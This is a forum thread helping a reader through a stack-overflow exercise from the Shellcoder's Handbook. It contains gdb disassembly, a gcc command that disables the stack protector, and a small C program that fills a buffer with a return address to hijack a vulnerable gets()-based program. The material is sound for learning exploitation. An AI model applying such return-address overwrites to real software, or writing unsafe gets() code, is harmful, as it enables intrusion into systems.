Which page of the Shellcoders Handbook are you on?
You are probably running into some stack randomization and protection with the newer gcc versions. Try compiling with the -fno-stack-protector option set.
He's on page 21 stack overflows...
Let's plop it open on a newer system (sure life is unfair!)
# gdb function
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) disas main
Dump of assembler code for function main:
0x0804835c <main+0>: push %ebp
0x0804835d <main+1>: mov %esp,%ebp
0x0804835f <main+3>: sub $0x8,%esp
0x08048362 <main+6>: movl $0x2,0x4(%esp)
0x0804836a <main+14>: movl $0x1,(%esp)
0x08048371 <main+21>: call
0x8048354 <function>
0x08048376 <main+26>: movl $0x8048498,(%esp)
0x0804837d <main+33>: call 0x8048290 <printf@plt>
0x08048382 <main+38>: leave
0x08048383 <main+39>: ret
End of assembler dump.
(gdb)
Notice the differences in compiling on two different machines?
For function return_input we have:
# gdb function
GNU gdb 6.8-debian
Copyright (C) 2008 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i486-linux-gnu"...
(gdb) disas main
Dump of assembler code for function main:
0x08048412 <main+0>: push %ebp
0x08048413 <main+1>: mov %esp,%ebp
0x08048415 <main+3>: call
0x80483f4 <return_input>
0x0804841a <main+8>: mov $0x0,%eax
0x0804841f <main+13>: pop %ebp
0x08048420 <main+14>: ret
End of assembler dump.
Not to omit the errors:
strategos ~ # gcc -mpreferred-stack-boundary=2 -fno-stack-protector -ggdb void.c -o function
/tmp/ccDrZEEj.o: In function `return_input':
/root/void.c:7: warning: the `gets' function is dangerous and should not be used.
Anyhow, see the difference in return address (0x80483f4). What is your return address when you compiled the original?
...
main (){
int i=0;
char stuffing[44];
for (i=0;i<=40;i+=4)
*(long *) &stuffing[i] = 0x80483f4;
puts(stuffing);
}
Notice the address?
stuffing ...
0x80483f4;
What is your output from function when you disassembled it?